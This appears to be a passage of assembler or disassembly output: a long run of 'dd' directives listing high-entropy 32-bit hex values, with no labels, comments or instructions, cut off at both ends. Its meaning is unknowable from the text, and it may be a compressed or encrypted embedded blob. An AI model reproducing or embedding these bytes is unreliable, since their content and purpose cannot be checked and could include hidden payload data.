8A465EC0h, 1CF64100h, 4FA255E1h dd 0DF368000h, 0DECDF078h, 0E4C804C3h, 0C1010939h, 0CDCCA8C4h dd 0E608982Bh, 320D21h, 4B221E09h, 0A2349C27h, 15CC0B60h dd 279CEC9h, 37208F2Eh, 2C907CDFh, 5080945h, 64AA634Ch dd 3E9C5FDCh, 0F7E46B80h, 55D545h, 43D84F9Fh, 0CDBEFDA4h dd 82F3EC39h, 4BB4E6C4h, 75C02CF8h, 938048Ch, 623B4C02h dd 310E20DAh, 38038509h, 0E84BAD91h, 0BCCED8F9h, 7F4901E6h dd 0FAC9E1DAh, 4019E121h, 3DC57208h, 80C0EC7Dh, 0A22228C3h dd 0FF4F5863h, 1147C80Ch, 21C0C208h, 0C0A21A0Dh, 0A35900CCh dd 0EAA5E2CFh, 0D6614B02h, 0E8ABF950h, 0CEC49080h, 73AD5FE5h dd 84B9E06h, 1126393h, 0CAC9A78Ch, 81C84DF5h, 0A4563859h dd 8840CD51h, 6818534Eh, 1184C0EDh, 9448079h, 0AC5B4C06h dd 0AE044B8h, 0CF093D19h, 37187638h, 0E8B0FFF8h, 0E544A08Ch dd 9300003h, 8BB6A7Ah, 69033C29h, 70502FF2h, 34B111B4h dd 60DB32C7h, 943307Ah, 534C0311h, 0F83DF88h, 0E0AC093Ch dd 7B443Fh, 0D7514D78h, 0BC818455h, 67DBF8C7h, 14FEB6E0h dd 6E4C072Fh, 1AC713C8h, 0FFA38094h, 144F388Dh, 46EAF10Ch dd 0C0B7080Ch, 8DF78621h, 9B125113h, 5C010973h, 2CFD6BEBh dd 296DECD4h, 1281FC8h, 4F448E03h, 88C01874h, 8D3BFB8Ah dd 6DAD002Ah, 67A7130h, 0BAE30060h, 4F8524BBh, 0B750A888h dd 0C4094890h, 20E2ACF7h, 897F0600h, 7268031Bh, 8A5FD12Ch dd 21F80830h, 0F89771Fh, 977C96CFh, 20E4FA67h, 32359C4Bh dd 9B4EB0C1h, 420FC93h, 3100921h, 3401F553h, 25D77DEFh dd 0C8C84B94h, 4D86C0D9h, 0FA1DC405h, 52808782h, 54B545CBh dd 0AC29C6E4h, 7500A9F3h, 7CA623C0h, 9FF1B9Ah, 74039330h dd 1E4388Ah, 5DDBFBCEh, 0E7F03BFAh, 88AB5030h, 51050669h dd 10BA9C88h, 947804D4h, 13023BCh, 4F80A227h, 21FE1921h dd 0D0A21F0Ah, 0BC009469h, 0F673910Fh, 338051FCh, 4C5CC690h dd 6C57E2B8h, 28B9CD24h, 607D460Eh, 2B19B72Ch, 0D3F40F60h dd 30BD2F85h, 0F91EC759h, 6D4E2500h, 0AF83747Ah, 0EB4105CCh dd 1DD86A2Ah, 0B0A799A4h, 81D1836h, 114F7EA2h, 813B1CFh dd 3CA00015h, 44D83AE7h, 65064EBAh, 0BD896C4Ch, 330106A0h dd 60969B8Fh, 0CA44F57Eh, 49BE3B51h, 4054A050h, 0B544C7CCh dd 64D70060h, 2E57C1EAh dd 8C006736h, 0C5E5185Bh, 3D95F741h, 0D8805053h, 0CF3CCACEh dd 0F548D3A3h, 62220424h, 1C8ECB06h, 9BC0DA88h, 0E84F682Ch dd 50EB61ABh, 4834F654h, 92F1F8ECh, 8460FBB8h, 23278963h dd 0F6115268h, 897B2B00h, 0C77CA701h, 54CF401h, 0DF6AC581h dd 48BC6560h, 0D582B0C8h, 6720ED4Ah, 99E57B31h, 0F92032E4h dd 89813C90h, 62682500h, 87E4EB2Ch, 7CEA0278h, 9EEEB4C3h dd 0A988005Dh, 22038Eh, 0B667AE84h, 0E39AC894h, 8FDEF100h dd 0B46D61EFh, 0C94C303Dh, 0CBA36338h, 4EBDAF00h, 46600AE0h dd 0BF08CCD8h, 0E3008621h, 470F42AFh, 9636A0h, 6A2079ABh dd 3276E672h, 0C9FDDCFBh, 64589A01h, 63F03C7Ah, 0B90E9880h dd 0C875CF08h, 6D98A70Ch, 600208A0h, 0B1292064h, 7900FB08h dd 8D34414Eh, 9884CEh, 1DF763E2h, 0B5C1099Ah, 4962EC00h dd 0C95F01B3h, 7CEE7ABEh, 0C3A0C0EBh, 7E1F4894h, 803B1B03h dd 302B33C7h, 0F6219008h, 0B0031F40h, 0B58381B1h, 0CE0BF004h dd 6BB4333Bh, 9100D688h, 3F46B8EEh, 5CA5681h, 0EB10ED9Ah dd 509C0197h, 4079FE6Fh, 0FF196DA8h, 60F38A40h, 1AB46899h dd 48D06570h, 1762384h, 75CB08BDh, 880518A8h, 800B52Dh dd 0FD4AF321h, 3ED7982h, 5EF1773Ah, 75C91DC9h, 22110796h dd 33000ACBh, 0C66764D0h, 0A10166B8h, 11815C69h, 0D6E3C3CDh dd 83D9805Fh, 0ED46757Eh, 0A41C908Fh, 0A4714420h, 9F757600h dd 0A19BD70Eh, 70A86135h, 0CDFC02DEh, 0F318206Ah, 0C7DDF24h dd 3E4624A8h, 0BCAFCC02h, 0BE31D84Eh, 0AFE48310h, 8C00817Dh dd 720D9E24h, 0A642D49h, 0C42BD5ECh, 81C9115Ch, 0ED447564h dd 107B31E6h, 39757CAAh, 0A101943Bh, 3F4AED1Ah, 0A29C50FAh dd 0C180A519h, 0AC460C50h, 614E2BE1h, 3F64C654h, 0AFCD048Ch dd 62D04EB7h, 0E58820BDh, 0B00041AFh, 0D92E563Ch, 9E74CEAh dd 644B3BD8h, 197C0011h, 24D1A320h, 0CF00D875h, 542B2E51h dd 0E47E8100h, 936808Ah, 3E6FAECEh, 0E91DE020h, 0B4807A72h dd 59EA601Eh, 7E4E54Ch, 4B2B2314h, 507CD5D4h, 48CB194h dd 1B621F44h, 208B625Bh, 0AD1F3CDAh, 0BC82361Fh, 0F971867Ch dd 0C7883B6h, 67526F96h, 11100F90h, 46008157h, 0C362E395h dd 23003DB1h, 7528D985h, 1472BA64h, 0D86F4F37h, 11773860h dd 0D980903Bh, 72EB0C75h, 1B81E447h, 0AB356A12h, 0FB39F847h dd 64505EC4h, 3B8C8AA8h, 67049826h, 800DF31Ah, 0BB4EE498h dd 80E6733Ch, 45CC7D94h, 3F3F01C2h, 9800C5ADh, 4B46C40Ah dd 2A24BA7Ch, 321FC1C3h, 3B66B030h, 0F05F52AFh, 0BC017323h dd 0A075CC08h, 2E890618h, 0A3808C8h, 0C53CA553h, 11F900DCh dd 0B0C4147Fh, 44D4CB24h, 0CF803911h, 0C04EB9AFh, 8A10EF8Ch dd 1400AFC7h, 8966201Dh, 281AB355h, 0ED985740h, 1F094618h dd 9C2B1B7Ch, 3EF40090h, 0D4B3F01Fh, 0AF7F4CC1h, 0BA329107h dd 6AB05E77h, 0C0B94DC7h, 5F4C7879h, 33170DCBh, 1D019B55h dd 97C9BB91h, 0CC4E4F8h, 0CA1E0934h, 16000131h, 1D929476h dd 281AEDB0h, 0C80F27h, 160D773h, 0A3FFBC10h, 3EDBBA02h dd 0B03BB46Eh, 8AFD184h, 0B304EC3h, 8C014868h, 943DAFC9h dd 4C3C17D0h, 0C0BC4C6Eh, 0E17C038Ch, 4E2793A8h, 0B84CA9F8h dd 0F9CF21C0h, 38A35534h, 0F38FB368h, 0FA206B5Dh, 568DA57Ch dd 67DDE816h, 85061004h, 73B44401h, 7680DC71h, 0ED438705h dd 908E78BFh, 3063FC84h, 0B88DC519h, 69C98282h, 406211E8h dd 0BEA21C53h, 153430h, 0F44F7343h, 0BC59A21Bh, 0F715BC91h dd 0A3BA01D0h, 0F23C0182h, 0F8339180h, 0D5A61474h, 12FDA703h dd 0E03F4ED2h, 0CB413BAh, 80FB1175h, 0C44DE998h, 7EBC84h dd 523DF4F6h, 6F5140ADh, 266D0220h, 83FC70D5h, 0C78697B7h dd 9C6317B0h, 12ADB00h, 5AEBBFA3h, 0C2BE09C5h, 880C98DAh dd 0F70290C8h, 48734DF0h, 0A17C484Fh, 0B53C0C9Ch, 4CA1EB17h dd 0CF18237Fh, 726962A8h, 18B5504Dh, 7A4FE89Bh, 0C1E72475h dd 46C0A060h, 0AFCE0240h, 1CC84EBEh, 0AFE68500h, 9FD214FBh dd 0B0B75389h, 0B5320D03h, 0F7D0C896h, 0D001E9E5h, 67826545h dd 64343B02h, 20A498D1h, 690281B3h, 0C3C6CFA9h, 49CCCE4h dd 0ED47757Bh, 20706287h, 0E17573A3h, 85DF8E02h, 40D151A1h dd 4CFB8600h, 0FBE870CCh, 833E6343h, 0B3F25C81h, 40AFDD71h dd 7F76A128h, 0BA1FB8B2h, 39366B61h, 0F754668h, 48CE08BEh dd 6401C2B0h, 8B63000h, 0F10D0015h, 0BE772876h, 1700BC4Ch dd 0EF73475Ch, 6A90472h, 1AB53D22h, 4C0339D7h, 0B0AAFEE8h dd 9418B960h, 20A419A0h, 46007BEFh, 87D30A49h, 0D7F1E3A4h dd 23983BD4h, 40E507BCh, 0E4824B43h, 9A21EC47h, 0B603D0D1h dd 780A6FA0h, 17266C90h, 3C115C1Fh, 0BAAFD280h, 0B43284Eh dd 8900A222h, 0D5D0AFCAh, 0E40587E3h, 5D433F46h, 0BE6D68E2h dd 9C979801h, 20315029h, 40EAF3F9h, 4E079634h, 22B07C49h dd 0D1C4B1B3h, 11871h, 0A4BADC97h, 0AF1DBBFDh, 0B724CE52h dd 399AC068h, 1CE8BBFEh, 930EF501h, 1E0F4EE2h, 778874h dd 3D4C511Fh, 86170CBAh, 0A7187260h, 4828CCC1h, 0FABC6059h dd 77A2098Ch, 0A8976E24h, 7780A291h, 7E4C8B72h, 19DAE101h dd 0A23352F8h, 0ECC4A2A0h, 22289ACDh, 4CECA44Ah, 842D5C02h dd 68FEE1E3h, 53369E8h, 0B1EB3BC5h, 8C20019Ch, 21F50332h dd 17CF024h, 0D402A941h, 757D30E6h, 77ED4910h, 12FFA5E3h dd 0DB60AC65h, 173842C4h, 0B0F428CCh, 30938E20h, 0A93161D5h dd 6B2C13B7h, 4674AC22h, 0A0271CBDh, 44207042h, 78F841BBh dd 80BB718h, 1CB875CDh, 0AF2F3B08h, 304F3700h, 1B710338h dd 0A0A1EC2Ah, 3CA4CB00h, 62CD395Bh, 19CE00ACh, 3DD734DCh dd 14A0EB60h, 0ABE454D8h, 0B0054107h, 1B273B2Bh, 0B8E440A0h dd 0F33C33DAh, 0C5D07791h, 973A4898h, 0CEC80044h, 0BA4EA960h dd 72A70663h, 59A6EF35h, 0F1E1A00h, 717662B2h, 0FBD5009Eh dd 5E164D1Fh, 38028F63h, 0D3E710A4h, 44844744h, 1DE2607Ah dd 3F5502D8h, 0E874A95h, 63D200C1h, 63FAA1ACh, 0C0A7C90Ch dd 15600544h, 9702A3C9h, 6A4DD309h, 8B7004ACh, 0CEB9C808h dd 4EEB9120h, 0AA040473h, 93A6E172h, 7AE7C80h, 447D4B7Ah dd 77ED314h, 0A0EA1D66h, 8080E511h, 7FED4875h, 0C0C970B1h dd 2A6E1288h, 1D89FEBh, 43A2EC93h, 0C87B73CEh, 761E7E44h dd 0C280B1A5h, 0C151A946h, 0EE9825F0h, 57F6B098h, 931A8D0Ah dd 1F05C011h, 84BA6D6Ah, 0F2B4B211h, 0D4BD3077h, 473C1A00h dd 8EDD5098h, 0A722126Dh, 24F002F2h, 2CE7F43Fh, 0F660BC44h dd 65F823B2h, 0FF4B4A77h, 3272A042h, 0C884299Ah, 3BF4CC64h dd 26F1FE61h, 60C082E1h, 6EAB0006h, 0E0944C42h, 9000C965h dd 4AE95546h, 0F26AE2ECh, 61692583h, 204B1C05h, 7E825BF4h dd 0BBD52D00h, 0DB23E39Bh, 0A05F00F4h, 0F27F9CC3h, 0ED3CBAF6h dd 0A0E93032h, 14246FD1h, 4C77A1CBh, 7173F300h, 30D9BA0Dh dd 31317F77h, 0ED3BC19Dh, 5006B180h, 8B107E14h, 0B0ED98A2h dd 2C208DC0h, 9023F16Eh, 0C63FCA1h, 9C5602E2h, 84DA6F50h dd 4E85B8D3h, 0B0903A07h, 2E98F971h, 0F42CED0Bh, 0BF69A0Fh dd 0ECF70AB3h, 0F4CCAE12h, 811F0947h, 8CC5431Bh, 1F3FF580h dd 906616C5h, 7F390178h, 226F4D5Ch, 0E1B9887Eh, 0D56D92C6h dd 7CE6AFC4h, 9BC319C8h, 637390DBh, 0D2E91AD1h, 7BD51C08h dd 0FC4208E6h, 0EFC0601Dh dd 61950DF8h, 0BDFCE5F5h, 3163FD9h, 3407D098h, 8C2D860Fh dd 0A81D7F01h, 1F801411h, 22B59D8Bh, 8A0F58C3h, 0BF210005h dd 7C313DF9h, 86E1E381h, 6880F67h, 95890C23h, 0B3A26B5h dd 8538DB7Eh, 0B84D51BEh, 8B5202E3h, 0D70CE1B5h, 9536A37Ah dd 222AE8FAh, 42C83284h, 45E8940Bh, 0D79F7000h, 0E95EB5D6h dd 7517C46Bh, 14C41745h, 85C73060h, 4E013FA1h, 0C01BC826h dd 5FA29D7Ch, 0BBBD3002h, 8B890FD9h, 0F6685737h, 0B57232D6h dd 0FA1BD201h, 9AFB914Bh, 161F1CC0h, 0BB5CE992h, 0A80D09Eh dd 413E61C9h, 94DC713Ch, 9C71C2CFh, 19D92F29h, 99269118h dd 0B31A680Ch, 232800DEh, 791935BDh, 208D4803h, 1AE842D4h dd 0FD2D018Ch, 6746F08Fh, 4C1D21B0h, 0E120BD31h, 0BE660007h dd 238112AFh, 0CCE5FEFFh, 0C688C0Fh, 8140502Dh, 579CBC6h dd 8C663D16h, 234D2EDBh, 7A70315h, 0D9AFF6F5h, 1C7C5406h dd 5E585CB7h, 7001746h, 0FF77BBE3h, 3E0A995h, 2EFA065Ah dd 1D23D1h, 0A02CBD53h, 0E01E45FCh, 5114C007h, 4851097h dd 0EB505E16h, 8DD92BCDh, 8B010BB8h, 48961C1h, 49ED6A24h dd 4037B81Ch, 5CAC783Ch, 0D0009F93h, 0A0988BFBh, 1A0CCA68h dd 2C0450E9h, 780F537h, 0A7E527B0h, 0B344CF1h, 7C088110h dd 0BD7829E0h, 0E6101360h, 0AD71E470h, 926AE3DCh, 0AA15E10h dd 0D8B60F0Ah, 1B4674B6h, 30A29400h, 0E091CE86h, 0B5019306h dd 5A582431h, 0FA40BA60h, 77992A81h, 854403C7h, 53F76E41h dd 864DB6F8h, 0CC0013Ch, 3109E905h, 4F8200D9h, 31709236h dd 0C9A01675h, 0F29AC9B5h, 3DDDBA52h, 0B1CDA40Bh, 0C1C38B80h dd 1BE04E8h, 63AD819Eh, 23E2F766h, 3114A2F1h, 4D5E8830h dd 0D82B0106h, 34558D89h, 501893EBh, 0F065752h, 585A1831h dd 0BF530A5Fh, 547CE21Ch, 91185E5Ah, 8B100238h, 0B80466D7h dd 9361EEEDh, 0F4C2D8DBh, 7CC4B5FFh, 0D6BADEB5h, 0AE22DB00h dd 108D6829h, 0C19648EFh, 2423A510h, 467667B0h, 1D45818h dd 66CC7AEBh, 5A21FB8Bh, 45C4585Bh, 0B60C2CFh, 1080CB2Eh dd 1281667Fh, 16DBEFD7h, 738BBE88h, 8BC11688h, 8926BAE1h dd 0F613C01h, 6E026883h, 0B2BC1CE9h, 0D3E1C201h, 0F381C9EAh dd 2923B425h, 0B3DFBD00h, 0D179E85Ch, 0BA978200h, 0F5BB4937h dd 0C7D624A9h, 4D5F6B73h, 4AED63E0h, 801345A8h, 31F6EE02h dd 490BDD85h, 5072BD96h, 0B1E99C50h, 6D390016h, 51E4950Bh dd 2712A2E6h, 0AD24C647h, 0C4C0149Bh, 0BB8F4E7Dh, 0F1258312h dd 20F30A09h, 0FD8D01CEh, 21B29119h, 181D7176h, 8D3707DEh dd 11407695h, 6AC2A1AAh, 267C61FDh, 515EF45h, 0AB58ED34h dd 12456E4h, 18682E40h, 0FF14AAA5h, 522257F0h, 0E90B8CD6h dd 7585AB65h, 4360B76Dh, 4E2FE8Ah, 0ADF17EE9h, 743587ECh dd 51B90A2Ch, 32C1830Ah, 3E14465Eh, 5A55C80h, 3B391EF1h dd 986B7C1h, 3CF2B9A6h, 48C1F696h, 1A8F8D4h, 99256120h dd 5C774ABBh, 0A4011746h, 0F98A3E68h, 88214B5Bh, 37F9C019h dd 0CA2DDF3Eh, 0BE98DFE9h, 174069B5h, 41C3482Bh, 0F48C1AE8h dd 99AD044Ch, 8C38E0F0h, 8009B0Dh, 837C7798h, 0F1343D74h dd 6325D229h, 1C11101Fh, 162D9580h, 3500A6F5h, 81DAD97Ch dd 949D8DEh, 39E97505h, 0BF60B04Fh, 17321h, 4617C52Bh dd 0B709E781h, 0F3703328h, 2BF0544h, 386813D5h, 0C66AC08Bh dd 0D8EBF88Eh, 1A11191Dh, 0C26C0F80h, 0B62D0ECBh, 31927792h dd 0AEF2DDh, 8C07CCECh, 950FDFA9h, 0D2FA7000h, 5009B593h dd 0A03514F2h, 0BF01F46Fh, 1185C7F9h, 1FF14331h, 0BE3545DFh dd 0C8B029A6h, 2D03A878h, 0EFAFEE6Bh, 5EC6BF7Fh, 9CF9E4FCh dd 18857014h, 0C92947CEh, 0E58A1321h, 0FC041613h, 24181B79h dd 6E8A1811h, 0C413A5C0h, 0D26A6115h, 0AB5BB966h, 2F01786Bh dd 0D52D213h, 75C270D1h, 1D904FC9h, 8117112Fh, 0CE8469CAh dd 8455BD6Eh, 24142E09h, 258BF028h, 0D61D1631h, 9F801891h dd 0F2C7D525h, 0D780C991h, 5F4F2183h, 81570187h, 6FDA24DFh dd 5170887Ch, 6758262Dh, 0DD96097h, 7000BA46h, 3721DBA9h dd 2EBE66F6h, 3B126558h, 0F969284h, 0F86BE48Dh, 0D595890Bh dd 29871123h, 0F5B52B11h, 500CA82Fh, 97BEF300h, 0FC432D52h dd 1FB40360h, 12F58D8Bh, 959D3D08h, 0CF6C3029h, 61299067h dd 0B50493FCh, 0C190C1Dh, 48EB287Dh, 8C18E8F6h, 52BB6000h dd 9531453Ch, 4C1569B1h, 40C0BA4Dh, 0FE6591CDh, 114300C6h dd 41E95F90h, 6BE3FFF7h, 0C40058B9h, 1F07F551h, 0E60E56D7h dd 61CBD97Fh, 0C18B2014h, 15A2F833h, 5826E830h, 1C20FE31h dd 9F1AEB4Bh, 70FD5302h, 0D40031A1h, 7B34B337h, 0A868B69h dd 0FECABF66h, 1B467491h, 6FB9D00h, 9C8B2FE1h, 828DEB24h dd 7BC30825h, 9072F8D6h, 0AF70713h, 23509088h, 4E24F88Bh dd 0CB2C7160h, 0C0C9C96Eh, 0B16A61F0h, 1817D944h, 5E74198Fh dd 0FA0D5C6Ah, 0F0387E0Ah, 0C6D43D83h, 0B1190731h, 0C083002Ah dd 20BFB005h, 0AEDC2D41h, 0D0BB5256h, 0D5CBDF4Fh, 5154CD00h dd 637899A5h, 0BE31480Fh, 5A38C501h, 9FF89058h, 7A24B810h dd 5E0F8BA8h, 4C4808BFh, 17011646h, 2105659Dh, 331DF947h dd 301BE2ABh, 0FB00A50Bh, 0ECD2FD4Eh, 149D8D61h, 0DC069933h dd 48C18ECh, 2CD7B519h, 20E89382h, 0B1D3AB26h, 1D4674h dd 0B7FBCC80h, 131AA4F1h, 69BAE44h, 5B0B2543h, 8201852Ah dd 24BCBF01h, 50E95398h, 0D0E28E6Ch, 5905E1A9h, 0C988B3F7h dd 4D80A988h, 82FDC195h, 2D78300Bh, 79B9BD2h, 3FC6FB80h dd 76757340h, 0F60CC0Bh, 9D34188Ch, 16B0ABEDh, 0C961C8CEh dd 0F29276B3h, 9CC3DA0Eh, 98B7A5F5h, 0A86EF801h, 0DDC06133h dd 291324B7h, 22410ACh, 536BD83h, 5BDFDA07h, 617B3Ch, 75BBC9F4h dd 19CDF2D8h, 5630983Bh, 85311006h, 2528B2F5h, 0ED1055E9h dd 0C2822129h, 904909AEh, 5ABBE7Eh, 0E911A5F2h, 0A91A443Bh dd 0DFC22907h, 0DBD0D57Bh, 450C0055h, 0DCB5FCF0h, 2998E4F4h dd 121B7CB7h, 0F26318Dh, 0A3374588h, 0E23D4264h, 47AA301Ch dd 580723E8h, 0BDF567F1h, 17D5E4BDh, 0B5295E00h, 0DC09252Ch dd 89DB8C80h, 0D60D19BDh, 796C8812h, 0BF7A56D2h, 72341C04h dd 0B2B1B662h, 0E6B4301Bh, 26287D00h, 0FA39FDCh, 0A1F858B7h dd 16A1512Ah, 0C45E5350h, 23572E5Dh, 807E001Ah, 84824C63h dd 0F468E971h, 5D16DA41h, 0E82047C9h, 0E6761937h, 891D1C70h dd 6D71E483h, 2C5AC1FFh, 0AD13C077h, 0C15543B0h, 60E030D4h dd 53130E5Bh, 388494DBh, 0C017A4E8h, 8A8BBD00h, 47405356h dd 9B6406C9h, 23800F4Ah, 0BD9E5FE0h, 0E834904Bh, 6D7F2C9Ah dd 1E550055h, 26D4BA62h, 0FDC38B2Dh, 0DF83CFB5h, 9AC9F734h dd 0A9C4E8h, 0D53ACBFEh, 0D4E07CE6h, 23E71405h, 0C92BDB5h dd 9EC4785Eh, 1CE00B7Dh, 71FB7162h, 0D82BD173h, 0CF0B126h dd 68026234h, 0DA06027Ch, 590540C4h, 7393811Eh, 88180613h dd 5BC4D9Eh, 0B6FA8C22h, 279CB350h, 0FBB793h, 60457C61h dd 710B0974h, 65E3C214h, 1EC1508Ah, 8462B638h, 6A1B2296h dd 1124E666h, 0CA4860Fh, 4FE93CF4h, 603010A4h, 0D62EC638h dd 936CEE00h, 0B2A13AAFh, 40E85A54h, 2244DE56h, 0BA007F71h dd 88535E4Fh, 3D58CF3h, 2B0DEF81h, 85E45937h, 0E0DBA6CBh dd 24929CC4h, 33E5764Eh, 0B3854DEAh, 0C3EB2C8Ah, 7DCA8AEh dd 6E0D71C0h dd 1646416Bh, 31648851h, 575E1230h, 80A09BF3h, 1FBA2F6Ah dd 0F38E0960h, 5DC68F0Fh, 0B2074D2Fh, 8A62401Dh, 2E0901Fh dd 4B2AF681h, 0B04B4350h, 47F2ADh, 0D705E53Dh, 120752FCh dd 545E98E2h, 0E9289FBBh, 22410129h, 1F9F280Ch, 0A20A3358h dd 4E96301Ah, 0D05D3200h, 0B5892A29h, 0B7BC9A91h, 814190D4h dd 0DC028D6h, 9554B61Fh, 6E5BCD1Eh, 112615B3h, 0B533819Ah dd 31000C71h, 6DED8D95h, 16A09059h, 5DC47D90h, 231CA082h dd 0B0010E8h, 1456956Dh, 0F64B1BC9h, 0BA89073Dh, 0E56A3C29h dd 99F6C13Eh, 665F0021h, 4DF25B8Bh, 2345B660h, 20B20024h dd 9E1AA6B0h, 0EBEE162Fh, 606FC007h, 8A9896B1h, 0AD14F03Eh dd 72789161h, 0C2CCF912h, 3F8BBEDFh, 4ED7D5Bh, 68690660h dd 0D2924CDh, 0D7851362h, 3482EB1Fh, 4C0B2DC9h, 202C4529h dd 16409DE9h, 409CB457h, 0B06C45C0h, 363A9200h, 62ADB7D7h dd 0AEB400A7h, 79BC2D8Bh, 5E16D17Dh, 90C926E9h, 0AC6F07C5h dd 0EE6A97BEh, 8FD1DC0Bh, 1BE40D67h, 204A2260h, 65ED1805h dd 84045DC4h, 2AA52E95h, 0B985412Bh, 977CBE7Bh, 85861920h dd 44C587BAh, 3DE96017h, 15385CA8h, 8BCB0D05h, 0C8F4A3F0h dd 1615A835h, 8DC457C7h, 0DAFD6FF3h, 6A008DACh, 0F8CB8454h dd 9025D687h, 24C52D6Bh, 0BD3311B8h, 6CB905FAh, 4E2EE20Bh dd 0D42596FEh, 73CD3A00h, 0B189EEDh, 0F2592496h, 0B503C0E5h dd 9D880E2Dh, 900B408Dh, 80E374B7h, 0CB48E3A6h, 0FE00F81Ch dd 0C7707840h, 80FB67h, 0CF8126C6h, 1FB8E8DFh, 7D8D8918h dd 90F96045h, 61D007DBh, 84991DBFh, 3D498278h, 0CDD5ECABh dd 68006ECAh, 15B84A2Ah, 0DFD72250h, 6090781Ch, 45388466h dd 61FB7C81h, 55F19529h, 5DA3EAA3h, 0D018508h, 78D7B597h dd 1799524Ch, 9B1FFED9h, 0D3158036h, 4B8F5Eh, 591BC754h dd 12890FCDh, 879627DDh, 0F781EE21h, 62B961C0h, 2165887Ah dd 0A5F5603h, 0B847E6DEh, 236909ADh, 3180463Dh, 8A452EC7h dd 62E677C0h, 14C96E13h, 84648192h, 0BE02515Eh, 0D0D6E95Fh dd 7263BBF9h, 0F25BEC6h, 93A3E68Ah, 6DD37845h, 5C570D24h dd 162C6108h, 950FCD5Eh, 16E595C8h, 0F430820Fh, 0D327058Dh dd 0BED5CC18h, 0FC706F01h, 0C5958902h, 9490C724h, 8F2F40BBh dd 0AE000F92h, 56411DECh, 3D525018h, 31A6F98Bh, 1F3F201Eh dd 0C75E585Ah, 1BBD8990h, 3B6A05E1h, 3D16BB6Fh, 23DB3B6Ah dd 0BC6C0317h, 0EE08E10Eh, 20710C8h, 63DC0C11h, 31A87263h dd 0E7B462CBh, 658D0102h, 0F38B1008h, 0CDCC5F69h, 0F812C050h dd 13029864h, 0F6CBEA65h, 0CA1660BCh, 49623F36h, 3D85018Bh dd 0B36A8E25h, 3014A2EDh, 9B9189EDh, 0B28244B4h, 4018D985h dd 7021EE81h, 3A3D6B2Dh, 5050F3FBh, 0BC021273h, 0B70FF574h dd 10D67CF6h, 826512Eh, 0D348FFA6h, 17D91607h, 476DF9Dh dd 0E4752DE1h, 102CF14Bh, 2390F263h, 7C4E90Bh, 0D2880265h dd 0FA291A10h, 547962Bh, 0F5027391h, 9919D8Bh, 19C4D767h dd 36338760h, 0C8539E12h, 3D9C68C8h, 8280D717h, 0B4ADC9AEh dd 0C24F9B5Ch, 448699D8h, 0CE0BBF05h, 4976B94Eh, 3E699BD5h dd 9C0099ECh, 6B259D51h, 40026D26h, 8DAB594Dh, 0B190C22h dd 0F45BD83h, 3D44DC44h, 0E653B851h, 0BCC1820Ch, 371BAF66h dd 74BA00E0h, 667B02DBh, 0E0F5BE16h, 81B55870h, 3499B918h dd 4ADDF394h, 0E6BF4A25h, 52D63F3Ch, 0F15650CBh, 14E120A4h dd 0BD0B3620h, 5C0A95FDh, 96022818h, 0B807F49Ah, 6EBC4C05h dd 14F9B2F1h, 2A159C41h, 5BE8F704h, 0A000C06Ah, 0DC86DEDAh dd 8520B501h, 25909F14h, 0B2000722h, 0A1CD504Ah, 0E923343h dd 0B51242ABh, 29F08056h, 8475DBDh, 0B0CD8F22h, 6B3E1F1Dh dd 3D152343h, 29E7C728h, 0BB5520F5h, 95F912FBh, 0DCF270BAh dd 99565AAh, 728FC207h, 0B381E491h, 0A214343Fh, 750C008Bh dd 9DB5BF83h, 649478E1h, 0E690267Ah, 0B9E7E0A4h, 0D82B38DEh dd 0BF663F80h, 0BBE9AA9Eh, 87CE034Eh, 99C01DC8h, 262E3A0h dd 0A6DE7A4Dh, 90854068h, 0B048D2D9h, 1564A947h, 0E6B60360h dd 0A2D47053h, 0F8BB3116h, 714FE4A5h, 85893E01h, 0B9390A69h dd 154004D3h, 5022F60Ch, 848A0AA8h, 9B500426h, 8BAFE104h dd 0B8A8E9C3h, 0CB4B25E4h, 2BB2A540h, 4D9CD5B0h, 0C23C4D25h dd 5A790969h, 7D207628h, 790CC41Dh, 50930717h, 7565022Bh dd 9570A04h, 777919F1h, 4733CD69h, 8C0F828Dh, 0E10CFA66h dd 685E9101h, 0B914FDF5h, 8C14A888h, 8BFE201h, 0B02CD618h dd 417D7634h, 0BD164426h, 0C1E9B87Dh, 3A57B142h, 790920B9h dd 7C3F195Eh, 402A1623h, 988AF9Eh, 52FC1202h, 0E07FA647h dd 4D63D77h, 0DF7182F3h, 40588D47h, 0F8BF0F48h, 0D6B62692h dd 16302DCh, 85200DBBh, 0EB91F40h, 2430A982h, 361416A4h dd 1FD2124Ah, 1E56D5Bh, 3C341600h, 228547h, 0DF317A8h dd 200594C8h, 6E488D5Ah, 18467E7Dh, 0FBE19A00h, 9D090F4Ah dd 88C9514Ch, 7780BA12h, 11740817h, 0B307323Ch, 63238C41h dd 3640DC40h, 4B7CB4DDh, 30C0976Dh, 4064D36h, 5E8B01D3h dd 0BE12C1F7h, 16A068E0h, 0FE082956h, 0C25F1223h, 0E90919D6h dd 0BE13FA89h, 228124B8h, 9057FB4h, 57946595h, 0C2227CF2h dd 1D2C897Fh, 0D1526C26h, 299C015Ch, 0ADCA593Eh, 0C1964DC8h dd 306053E6h, 2E41F11Dh, 6D6D0C98h, 2B485F61h, 7CD05BA1h dd 54FCA3Dh, 9438156Eh, 2D94A6B5h, 60CDEF64h, 34E9786Fh dd 0F5E6908h, 8509408Ch, 2822F19h, 3209D9Ah, 234D4DE9h dd 0B9DBC22h, 0B60D186h, 8B61A48Ch, 491951Bh, 73C0BAFFh dd 2012710Fh, 0CDB4F6D8h, 0C29DE2A7h, 9D9C54EEh, 5EBF0599h dd 0E7AE20E8h, 8704D124h, 0BA942729h, 0E8455C7h, 388C5F0Dh dd 8D67163Ah, 7140958Fh, 0DFB80660h, 7C5153C0h, 1A61F02Dh dd 1554829Ah, 2510C720h, 804FEB5h, 8D829775h, 99517A7Dh dd 13ED4B07h, 83B11042h, 0C0FDC7D5h, 0CB9A87ACh, 7B2BC5B8h dd 5000953Dh, 62DFA61Fh, 816900F1h, 0C555CBCFh, 8B006070h dd 8D9AB9F7h, 0B6610DFBh, 6FE0DCA9h, 8B03493Bh, 0D579DD7Ah dd 0DFB91648h, 0BE4C9F00h, 39203155h, 997F50C0h, 9F18B5F2h dd 0F920BD33h, 90E85B25h, 0E3F143Eh, 4D19E201h, 6E939D1Fh dd 26856F8h, 0BBD1F010h, 6F200DE9h, 3A70F01h, 0ED9FC65Bh dd 1DF16612h, 11273E78h, 0F318F6C0h, 12B3489Ch, 0AEC08200h dd 5FB7341Fh, 463797h, 0F16911EBh, 0DC5E9B26h, 0AAB6BFAh dd 0F6B22BA8h, 121B9D08h, 0BBB020E8h, 0D200BE13h, 3E8F0B6Fh dd 0E0D63867h, 0EEB00178h, 